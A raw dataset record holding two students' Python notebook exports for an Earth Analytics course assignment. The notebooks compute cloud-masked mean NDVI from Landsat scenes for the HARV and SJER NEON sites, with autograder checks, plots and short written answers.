loop inside the already nested loop\n        for band in scene_bands:\n            # Clean the bands using the previously created function that will\n            # open the band, crop it using its associate shapefile, and specify\n            # landsat's valid range\n            clean_band = open_clean_bands(\n                band, opened_bound, valid_range=(0, 10000))\n            # Apply cloud mask to band\n            cloud_free_band = clean_band.where(\n                ~cropped_layer.isin(all_masked_values))\n            # Append list so that it holds the cloud free bands. This list will\n            # be used to calculate mean NDVI\n            site_bands.append(cloud_free_band)\n\n        # Calculate mean NDVI\n        mean_ndvi = np.nanmean(\n            (site_bands[1]-site_bands[0]) / (site_bands[1]+site_bands[0]))\n        # Append the mean NDVI to the list holding the site information (the\n        # function that pulled site and date information from scene directory\n        # paths created a list as the output)\n        site_info.append(mean_ndvi)\n        # Append this list of lists to the empty list created outside the for\n        # loop at the top\n        all_site_info.append(site_info)\n\n# Convert list into a pandas dataframe\nsite_info_df = pd.DataFrame(all_site_info, columns=[\n                            \"site\", \"date\", \"mean_ndvi\"])\n\n# Set index on date\nindexed_site_info_df = site_info_df.set_index(\"date\")\n\n# Call dataframe\nindexed_site_info_df\n\n\n# In[10]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points += 2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points += 2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points += 3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points += 3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# Create a figure that displays mean NDVI at the HARV and SJER locations over a year, with mean NDVI on the y-axis and the month on the x-axis using the pandas dataframe created above.\n\n# In[11]:\n\n\n# Add only the plot code to this cell\n\n# Set figure space\nfig, ax = plt.subplots(figsize=(12, 7))\n\n# Create overall figure title\nfig.suptitle(\n    \"Mean Normalized Difference Vegetaion Index (NDVI) \\nJan 2017 - Dec 2017 \\nLandsat 8 with Clouds Removed\")\n\n# Create a for loop to loop through dataframe and create individual dataframes\n# grouped by site for plotting\nfor site, site_name_df in indexed_site_info_df.dropna().groupby(\"site\"):\n    ax.plot(site_name_df.index, site_name_df.mean_ndvi, marker=\"o\", label=site)\n\n# Set axes labels\nax.set(xlabel=\"Month\",\n       ylabel=\"Mean NDVI\")\n\n# Format date on x axis\nax.xaxis.set_major_formatter(DateFormatter(\"%b\"))\n\n# Create a legend\nax.legend()\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[12]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[13]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# I would recommend that the flights take place in April for the SJER site. I would recommend that HARV flights take place in July.\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# I could possibly create NDVI difference maps to examine changes between time points (months, years, etc.). Due to the way my code is set up, I could also continue to add data to the HARV and SJER directories as it becomes available and run this same code to continue to monitor changes.\n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# In[14]:\n\n\n# Drop na values from dataframe for exporting\nno_nan_df = indexed_site_info_df.dropna()\n\n# Export pandas dataframe to csv file\n# Reproducible output\nno_nan_df.to_csv(os.path.join(directory_path, \"ndvi-automation\", \"outputs\", \n                              \"ndvi_df.csv\"))\n\n# Export to my local repository\n# no_nan_df.to_csv(os.path.join(et.io.HOME, \"earth-analytics\",\n#                               \"2022_spring\",\n#                               \"assignments\",\n#                               \"04_assignment\",\n#                               \"ea-2022-04-ndvi-automation-rami8797\",\n#                               \"ndvi_df.csv\"))\n\n", "meta": {"hexsha": "3659f2bbe1a01c5d5ae70d7052ac56809272521f", "size": 31003, "ext": "py", "lang": "Python", "max_stars_repo_path": "michaels_rachel_ndvi.py", "max_stars_repo_name": "rami8797/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "ee02064bb577ad1a1dc96b1e4e94d26484d2291e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "michaels_rachel_ndvi.py", "max_issues_repo_name": "rami8797/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "ee02064bb577ad1a1dc96b1e4e94d26484d2291e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "michaels_rachel_ndvi.py", "max_forks_repo_name": "rami8797/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "ee02064bb577ad1a1dc96b1e4e94d26484d2291e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.4698630137, "max_line_length": 291, "alphanum_fraction": 0.7002548141, "include": true, "reason": "import numpy", "num_tokens": 7420, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3738758227716966, "lm_q2_score": 0.2538610069692489, "lm_q1q2_score": 0.09491249285027935}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name:** Emily Cassidy\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# Pseudo code for NDVI workflow:\n# - Before we start the analysis, we will need to import the NDVI data and open up the geographic boundary shapefile.\n# - Then we will make a list of Landsat files we will loop through. To do that, make sure you're in the right site folder.\n# - Open individual band files and clip to the boundary. Clean them up to only include numbers in a valid range.\n# - Clean up the raster to only include numbers in a valid range.\n# - Mask out clouds in the raster.\n# - Calculate NDVI.\n# - Put NDVI values, site name, and date in a Pandas DataFrame.\n# \n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\n\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport geopandas as gpd\nimport rioxarray as rxr\nimport xarray as xr\nimport earthpy as et\nimport earthpy.plot as ep\nimport earthpy.mask as em\n\n# Get data and set working directory\ndata = et.data.get_data('ndvi-automation')\nos.chdir(os.path.join(et.io.HOME,\n                      \"earth-analytics\",\n                      \"data\"))\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[5]:\n\n\n# Get a list of each directory\nsite_path = os.path.join(\"ndvi-automation\", \"sites\")\n\n# Get a list of both site directories \nsites = glob(site_path + \"/*/\")\nsite_name = 'HARV'\n\n\n# In[6]:\n\n\nvector_dir = os.path.join(site_path, site_name,\n                          \"vector\")\n# Open crop boundary\nsite_boundary_path = os.path.join(vector_dir,  site_name + \"-crop.shp\")\ncrop_bound = gpd.read_file(site_boundary_path)\ncrop_bound.plot()\ntype(crop_bound)\n\n\n# In[7]:\n\n\n# In the landsat directory, get files \nlandsat_dir = os.path.join(site_path, site_name, \"landsat-crop\")\nlandsat_folder = os.path.join(landsat_dir, \"LC080130302017031701T1-SC20181023151837\")\n\n# Open bands\nband_files = sorted(glob(os.path.join(landsat_folder, \"*band*[4-5].tif\")))\n\n\n# In[8]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\n#  This function has the code from the workflow above\ndef open_clean_bands(band_path,\n                     crop_bound,\n                     valid_range=None,):\n    \"\"\"Open and mask a single landsat band using a pixel_qa layer.\n\n    Parameters\n    -----------\n    band_path : string\n        A path to the array to be opened\n    crop_bound : GeoPandas DataFrame\n        A data from that tells us the extent of the site of interest\n    valid_range : tuple (optional)\n        A tuple of min and max range of values for the data. Default = None\n\n\n    Returns\n    -----------\n    arr : xarray DataArray\n        An xarray DataArray with values that should be \n        masked set to 1 for True (Boolean)\n    \"\"\"\n    \n    band = rxr.open_rasterio(band_path, masked=True).rio.clip(crop_bound.geometry,\n                                                              from_disk=True).squeeze()\n\n    # Only run this step if a valid range tuple is provided\n    if valid_range:\n        mask = ((band < valid_range[0]) | (band > valid_range[1]))\n        band_xr = band.where(~xr.where(mask, True, False))\n\n    return band_xr\n\n  \ndef cloud_mask_ndvi(ndvi_array, folder_path, crop_bound, masked_values):\n    \"\"\"Use landsat QA files to mask clouds from Landsat geotiffs.\n     Parameters\n    -----------\n    ndvi_array: xarray DataArray\n        An xarray DataArray with ndvi values\n    folder_path : string\n        A path to the site folder in which QA array lives\n    crop_bound : GeoPandas DataFrame\n        A data from that tells us the extent of the site of interest\n    masked_values : list\n        A list of all values to be masked\n\n\n    Returns\n    -----------\n    arr : xarray DataArray\n        An xarray DataArray with ndvi values, masked to values provided\n    \"\"\"\n    # Get quality assurance file from folder of Landsat files\n    qa_path = glob(os.path.normpath(os.path.join(folder_path, \"*pixel*.tif\")))\n    qa_file = rxr.open_rasterio(\n            qa_path[0], masked=True).rio.clip(crop_bound.geometry, \n                                              from_disk=True).squeeze()\n    ndvi_clean_crop = ndvi_array.where(~qa_file.isin(masked_values))\n    \n    return ndvi_clean_crop\n\n\n# In[9]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Call the dataframe at the end of the cell so the tests run on it!\n# Be sure that the date column is an index of type date\n# HINT: the time series lessons may help you remember how to do this!\n\nall_bands = []\n\n# Open Landsat band files for the HARV site\nfor aband in band_files:\n    print(\"Opening up\", aband)\n    cleaned_band = open_clean_bands(band_path=aband,\n                                    crop_bound=crop_bound,\n                                    valid_range=(0, 10000))\n    all_bands.append(cleaned_band)\n\n\n# Then calculate NDVI\nndvi_xr = (all_bands[1]-all_bands[0]) / (all_bands[1]+all_bands[0])\nndvi_xr.plot()\n\n\n# In[10]:\n\n\n# Get QA data from the Landsat folder to determine cloud mask.\nqa_path = glob(os.path.normpath(os.path.join(landsat_folder, \"*pixel*.tif\")))\n\nqa_file = rxr.open_rasterio(\n    qa_path[0], masked=True).rio.clip(crop_bound.geometry, \n                                      from_disk=True).squeeze()\n\n# Add cloud values from Landsat 8 to remove influence of clouds\nhigh_cloud_confidence = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"High Cloud Confidence\"]\ncloud = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud\"]\ncloud_shadow = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud Shadow\"]\n    \nall_masked_values = cloud_shadow + cloud + high_cloud_confidence\n\nndvi_clean_crop = ndvi_xr.where(~qa_file.isin(all_masked_values))\nndvi_clean_crop.plot()\n\n\n# In[20]:\n\n\n# Get the mean of the xarray and get the value from the array\nndvi_mean = ndvi_clean_crop.mean()\nndvi_mean_value = ndvi_mean.item()\n\n\n# In[12]:\n\n\n# Now using components of the path, create a dataframe with mean ndvi,\n# data, and site.\n\npath_components = landsat_folder.split(os.sep)\nsite = path_components[2]\nfile_string = path_components[4]\n\ndate = file_string[10:18]\ndate_time = datetime.strptime(date, '%Y%m%d').strftime('%m/%d/%Y')\n\nndvi_list =  []\nndvi_list.append([site, date_time, ndvi_mean_value])\nndvi_list\n\nndvi_df = pd.DataFrame(ndvi_list, columns=['site', 'date', 'mean_ndvi'])\nndvi_df['date'] = pd.to_datetime(ndvi_df['date'])\nndvi_df.set_index(\"date\", inplace = True)\nndvi_df\n\n\n# In[13]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# In[14]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Don't forget to set date as the index and make the values of type datetime\n\n# Get a list of each directory\nsite_path = os.path.join(\"ndvi-automation\", \"sites\")\n\n# Get a list of both site directories \nsites = glob(os.path.join(site_path, \"*\"))\n\n# For the two NEON sites, open get the site boundary shapefile and \n# get paths to folders with the Landsat band files\nndvi_list = []\nfor site in sites:\n    path_components = site.split(os.sep)\n    site_name = path_components[2]\n    vector_dir = os.path.join(site_path, site_name,\n                          \"vector\")\n    # Open crop boundary\n    site_boundary_path = os.path.join(vector_dir,  site_name + \"-crop.shp\")\n    crop_bound = gpd.read_file(site_boundary_path)\n\n    # In the landsat directory, get files \n    landsat_dir = os.path.join(site_path, site_name, \"landsat-crop\")\n    landsat_folders = sorted(glob(os.path.join(landsat_dir, \"*\")))\n    \n    # This loop gets a list of band files so we can open them and calculate NDVI\n\n    for folder in landsat_folders:\n        # Open bands\n        band_files = sorted(glob(os.path.join(folder, \"*band*[4-5].tif\")))\n        all_bands = []\n        for aband in band_files:\n            print(\"Opening up\", aband)\n            cleaned_band = open_clean_bands(band_path=aband, \n                                            crop_bound=crop_bound,\n                                            valid_range=(0, 10000))\n            all_bands.append(cleaned_band)\n        \n        # Then calculate NDVI\n        ndvi_xr = (all_bands[1]-all_bands[0]) / (all_bands[1]+all_bands[0])\n        \n        # Add cloud mask values for Landsat 8 for cleaning up the raster\n        high_cloud_confidence = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"High Cloud Confidence\"]\n        cloud = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud\"]\n        cloud_shadow = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud Shadow\"]\n        all_masked_values = cloud_shadow + cloud + high_cloud_confidence\n        ndvi_clean_crop = cloud_mask_ndvi(\n            ndvi_array=ndvi_xr, folder_path=folder,\n            crop_bound=crop_bound, masked_values=all_masked_values)\n        \n        ndvi_mean = ndvi_clean_crop.mean(skipna=True)\n        ndvi_mean_value = ndvi_mean.item()\n        \n        path_components = folder.split(os.sep)\n        site = path_components[2]\n        file_string = path_components[4]\n        date = file_string[10:18]\n        date_time = datetime.strptime(date, '%Y%m%d').strftime('%m/%d/%Y')\n        ndvi_list.append([site, date_time, ndvi_mean_value])\n\nndvi_df = pd.DataFrame(ndvi_list, columns=['site', 'date', 'mean_ndvi'])\nndvi_df['date'] = pd.to_datetime(ndvi_df['date'])\nndvi_df.set_index(\"date\", inplace = True)\nndvi_df\n\n\n# In[15]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# In[16]:\n\n\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\nf, ax = plt.subplots(figsize=(14, 9))\nfor s, df in ndvi_df.dropna().groupby('site'):\n    ax.plot(df['mean_ndvi'], 'o-',  label=s)\n    \nax.set(title=\"Mean Normalized Vegetation Difference Index (NDVI) for two NEON sites Over One Year\",\n       xlabel='Date',\n       ylabel='NDVI Mean')\nplt.legend(bbox_to_anchor=(0.98,0.98))\n\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[17]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[18]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# If I were planning NEON\u2019s upcoming flight season, I would choose the flights to take place over the HARV site in June, and the flights over the SJER site to take place at the end of March or early April. This would ensure the flights would be capturing data in these locations when the vegetation is the most green.\n# \n# However, it might be useful to get more data points for the SJER site in the March and April to ensure we would be capturing peak green. We have no valid data for early-to-mid-April.\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# There are a few different ways we can automate this code with functions and it was difficult to tell which sections of the code were the best to turn into functions. I think if I had more time I would think more about how to make the code more readable and reproducible, which would help inform which sections of code are the most useful to turn into functions.\n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n", "meta": {"hexsha": "25feaf7ae6f94ffa286c2f430aa5cf9988a76f3b", "size": 24069, "ext": "py", "lang": "Python", "max_stars_repo_path": "cassidy-emily-ndvi.py", "max_stars_repo_name": "emilyscassidy/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "1d8912dcd5843af9ea1bc410b06eac8d2e7af019", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "cassidy-emily-ndvi.py", "max_issues_repo_name": "emilyscassidy/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "1d8912dcd5843af9ea1bc410b06eac8d2e7af019", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "cassidy-emily-ndvi.py", "max_forks_repo_name": "emilyscassidy/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "1d8912dcd5843af9ea1bc410b06eac8d2e7af019", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.2585139319, "max_line_length": 363, "alphanum_fraction": 0.7066350908, "include": true, "reason": "import numpy", "num_tokens": 5964, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.37387582277169656, "lm_q2_score": 0.2538610069692489, "lm_q1q2_score": 0.09491249285027933}}
